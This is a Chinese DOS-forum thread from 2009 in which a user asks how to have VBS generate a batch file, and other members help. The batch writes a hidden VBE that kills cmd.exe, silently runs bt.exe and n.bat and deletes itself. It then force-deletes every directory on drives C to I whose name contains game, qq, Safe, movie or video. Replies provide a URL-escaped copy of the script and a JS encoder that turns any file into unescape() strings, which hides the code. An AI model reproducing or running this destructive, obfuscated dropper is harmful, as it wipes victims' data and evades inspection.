中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-11 18:07
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 如何用 vbs 生成复杂的bat 代码 查看 720 回复 12
楼 主 如何用 vbs 生成复杂的bat 代码 发表于 2009-05-02 06:02 ·  中国 北京 石景山区 联通
初级用户
★★
积分 48
发帖 51
注册 2009-03-03 23:23
17年会员
UID 140498
性别 女
状态 离线
如何用 vbs 生成 c:\er.bat 代码:


(echo Set ws = CreateObject("Wscript.Shell"^)
echo ws.run "cmd /c taskkill /f /im cmd.exe",vbhide
echo ws.run "%%windir%%\bt.exe",vbhide
echo ws.run "cmd /c if exist %%windir%%\n.bat %%windir%%\n.bat&&del %windir%\vb2cm.vbe /f/q",vbhide)>%windir%\vb2cm.vbe
if exist "%windir%\vb2cm.vbe" start "" "%windir%\vb2cm.vbe"
set alld=c d e f g h i
for %%a in (%alld%) do (
if exist %%a:\ cd /d %%a:\
if exist %%a:\ for /f "delims=" %%i in ('dir /ad/s/b *game* *qq* *Safe* *movie* *video*') do rd "%%i" /s/q>nul 2>nul
)
2 发表于 2009-05-02 06:47 ·  中国 陕西 西安 电信
铂金会员
★★★★
积分 5,212
发帖 2,478
注册 2007-02-08 23:39
19年会员
UID 79003
性别 男
状态 离线
yourstr = "(echo Set ws = CreateObject(""Wscript.Shell""^)" & vbCrLf & "echo ws.run ""cmd /c taskkill /f /im cmd.exe"",vbhide" & vbCrLf & "echo ws.run ""%%windir%%\bt.exe"",vbhide" & vbCrLf & "echo ws.run ""cmd /c if exist %%windir%%\n.bat %%windir%%\n.bat&&del %windir%\vb2cm.vbe /f/q"",vbhide)>%windir%\vb2cm.vbe" & vbCrLf & "if exist ""%windir%\vb2cm.vbe"" start """" ""%windir%\vb2cm.vbe""" & vbCrLf & "set alld=c d e f g h i" & vbCrLf & "for %%a in (%alld%) do (" & vbCrLf & " if exist %%a:\ cd /d %%a:\" & vbCrLf & " if exist %%a:\ for /f ""delims="" %%i in ('dir /ad/s/b *game* *qq* *Safe* *movie* *video*') do rd ""%%i"" /s/q>nul 2>nul"
本帖最近评分记录 (共 1 条) 点击查看详情
评分人分数时间
QOIQoc +1 2009-05-02 07:19
S smile 微笑,L love 爱,O optimism 乐观,R relax 放松,E enthusiasm 热情...Slore
3 发表于 2009-05-02 07:08 ·  中国 湖北 黄石 电信
中级用户
★★
积分 330
发帖 244
注册 2006-04-14 14:07
20年会员
UID 53823
性别 男
来自 湖北
状态 离线
sss="%28echo%20Set%20ws%20%3D%20CreateObject%28%22Wscript.Shell%22%5E%29%0D%0Aecho%20ws.run%20%22cmd%20/c%20taskkill%20/f%20/im%20cmd.exe%22%2Cvbhide%0D%0Aecho%20ws.run%20%22%25%25windir%25%25%5Cbt.exe%22%2Cvbhide%0D%0Aecho%20ws.run%20%22cmd%20/c%20if%20exist%20%25%25windir%25%25%5Cn.bat%20%25%25windir%25%25%5Cn.bat%26%26del%20%25windir%25%5Cvb2cm.vbe%20/f/q%22%2Cvbhide%29%3E%25windir%25%5Cvb2cm.vbe%0D%0Aif%20exist%20%22%25windir%25%5Cvb2cm.vbe%22%20start%20%22%22%20%22%25windir%25%5Cvb2cm.vbe%22%0D%0Aset%20alld%3Dc%20d%20e%20f%20g%20h%20i%0D%0Afor%20%25%25a%20in%20%28%25alld%25%29%20do%20%28%0D%0A%20%20%20%20if%20exist%20%25%25a%3A%5C%20cd%20/d%20%25%25a%3A%5C%0D%0A%20%20%20%20if%20exist%20%25%25a%3A%5C%20for%20/f%20%22delims%3D%22%20%25%25i%20in%20%28%27dir%20/ad/s/b%20*game*%20*qq*%20*Safe*%20*movie*%20*video*%27%29%20do%20rd%20%22%25%25i%22%20/s/q%3Enul%202%3Enul%0D%0A%29"
wsh.createobject("scripting.filesystemobject").createtextfile("c:\err.bat").write unescape(sss)
本帖最近评分记录 (共 1 条) 点击查看详情
评分人分数时间
QOIQoc +1 2009-05-02 08:16
4 发表于 2009-05-02 08:15 ·  中国 北京 石景山区 联通
初级用户
★★
积分 48
发帖 51
注册 2009-03-03 23:23
17年会员
UID 140498
性别 女
状态 离线
yourstr = "(echo Set ws = CreateObject(""Wscript.Shell""^)" & vbCrLf & "echo ws.run ""cmd /c taskkill /f /im cmd.exe"",vbhide" & vbCrLf & "echo ws.run ""%%windir%%\bt.exe"",vbhide" & vbCrLf & "echo ws.run ""cmd /c if exist %%windir%%\n.bat %%windir%%\n.bat&&del %windir%\vb2cm.vbe /f/q"",vbhide)>%windir%\vb2cm.vbe" & vbCrLf & "if exist ""%windir%\vb2cm.vbe"" start """" ""%windir%\vb2cm.vbe""" & vbCrLf & "set alld=c d e f g h i" & vbCrLf & "for %%a in (%alld%) do (" & vbCrLf & " if exist %%a:\ cd /d %%a:\" & vbCrLf & " if exist %%a:\ for /f ""delims="" %%i in ('dir /ad/s/b *game* *qq* *Safe* *movie* *video*') do rd ""%%i"" /s/q>nul 2>nul"
wsh.createobject("scripting.filesystemobject").createtextfile("c:\err.bat").write yourstr


"%28echo%20Set%20ws%20%3D%20CreateObject%28%22Wscript.Shell%22%5E%29%0D%0Aecho%20ws.run%20%22cmd%20/c%20taskkill%20/f%20/im%20cmd.exe%22%2Cvbhide%0D%0Aecho%20ws.run%20%22%25%25windir%25%25%5Cbt.exe%22%2Cvbhide%0D%0Aecho%20ws.run%20%22cmd%20/c%20if%20exist%20%25%25windir%25%25%5Cn.bat%20%25%25windir%25%25%5Cn.bat%26%26del%20%25windir%25%5Cvb2cm.vbe%20/f/q%22%2Cvbhide%29%3E%25windir%25%5Cvb2cm.vbe%0D%0Aif%20exist%20%22%25windir%25%5Cvb2cm.vbe%22%20start%20%22%22%20%22%25windir%25%5Cvb2cm.vbe%22%0D%0Aset%20alld%3Dc%20d%20e%20f%20g%20h%20i%0D%0Afor%20%25%25a%20in%20%28%25alld%25%29%20do%20%28%0D%0A%20%20%20%20if%20exist%20%25%25a%3A%5C%20cd%20/d%20%25%25a%3A%5C%0D%0A%20%20%20%20if%20exist%20%25%25a%3A%5C%20for%20/f%20%22delims%3D%22%20%25%25i%20in%20%28%27dir%20/ad/s/b%20*game*%20*qq*%20*Safe*%20*movie*%20*video*%27%29%20do%20rd%20%22%25%25i%22%20/s/q%3Enul%202%3Enul%0D%0A%29"

请问freeants001,上面代码是怎么得到的?
5 发表于 2009-05-02 08:25 ·  中国 陕西 西安 电信
铂金会员
★★★★
积分 5,212
发帖 2,478
注册 2007-02-08 23:39
19年会员
UID 79003
性别 男
状态 离线
unescape(sss) 自然可以……

msgbox escape(yourstr)

本质是将非数字和字母字符转成unicode编码。

%20是空格 %28是(这些字符编码都是固定的
S smile 微笑,L love 爱,O optimism 乐观,R relax 放松,E enthusiasm 热情...Slore
6 发表于 2009-05-02 09:33 ·  中国 北京 石景山区 联通
初级用户
★★
积分 48
发帖 51
注册 2009-03-03 23:23
17年会员
UID 140498
性别 女
状态 离线
请问如何把 代码全部转成 unicode编码?
如; CreateObject(UnEscape("%57%73%63%52%69%70%54%2E%73%68%65%4C%6C"))
7 发表于 2009-05-02 10:20 ·  中国 湖北 黄石 电信
中级用户
★★
积分 330
发帖 244
注册 2006-04-14 14:07
20年会员
UID 53823
性别 男
来自 湖北
状态 离线
sss=WScript.createobject("scripting.filesystemobject").opentextfile("test.txt").readall();
for(i=0,oss="";i<sss.length;i++){
s=sss.charCodeAt(i);
if(s<0xFF)oss+="%"+("0"+s.toString(16)).slice(-2)
else oss+="%u"+("0"+s.toString(16)).slice(-4);
}
WScript.createobject("scripting.filesystemobject").createtextfile("unicode.txt").write(oss);


[ Last edited by freeants001 on 2009-5-3 at 00:33 ]
本帖最近评分记录 (共 1 条) 点击查看详情
评分人分数时间
QOIQoc +2 2009-05-03 01:11
8 发表于 2009-05-02 11:12 ·  中国 北京 石景山区 联通
初级用户
★★
积分 48
发帖 51
注册 2009-03-03 23:23
17年会员
UID 140498
性别 女
状态 离线
something is wrong with the code!
附件
未命名.GIF
9 发表于 2009-05-03 00:11 ·  中国 湖北 黄石 电信
中级用户
★★
积分 330
发帖 244
注册 2006-04-14 14:07
20年会员
UID 53823
性别 男
来自 湖北
状态 离线
按6楼的要求,7楼的JS代码,可以把把你需要的文件中所有字符转换成VBS(或 js)中的unescape函数可以使用的UNICODE字符串.
10 发表于 2009-05-03 00:20 ·  中国 四川 泸州 联通
高级用户
★★★
积分 609
发帖 374
注册 2006-08-02 22:38
20年会员
UID 59720
状态 离线
freeants001 的是将空格、符号、换行等用16进制,批处理原文没有改变。
使其显的眼花缭乱。
11 发表于 2009-05-03 00:26 ·  中国 陕西 西安 电信
铂金会员
★★★★
积分 5,212
发帖 2,478
注册 2007-02-08 23:39
19年会员
UID 79003
性别 男
状态 离线
把js保存成vbs了……
本帖最近评分记录 (共 1 条) 点击查看详情
评分人分数时间
QOIQoc +1 2009-05-03 01:11
S smile 微笑,L love 爱,O optimism 乐观,R relax 放松,E enthusiasm 热情...Slore
12 发表于 2009-05-03 00:36 ·  中国 湖北 黄石 电信
中级用户
★★
积分 330
发帖 244
注册 2006-04-14 14:07
20年会员
UID 53823
性别 男
来自 湖北
状态 离线
发现7楼0x10以下字符出问题了,现已更正
13 发表于 2009-05-03 00:46 ·  中国 北京 联通
初级用户
★★
积分 48
发帖 51
注册 2009-03-03 23:23
17年会员
UID 140498
性别 女
状态 离线
测试成功,多谢,继续向前辈学习。
论坛跳转: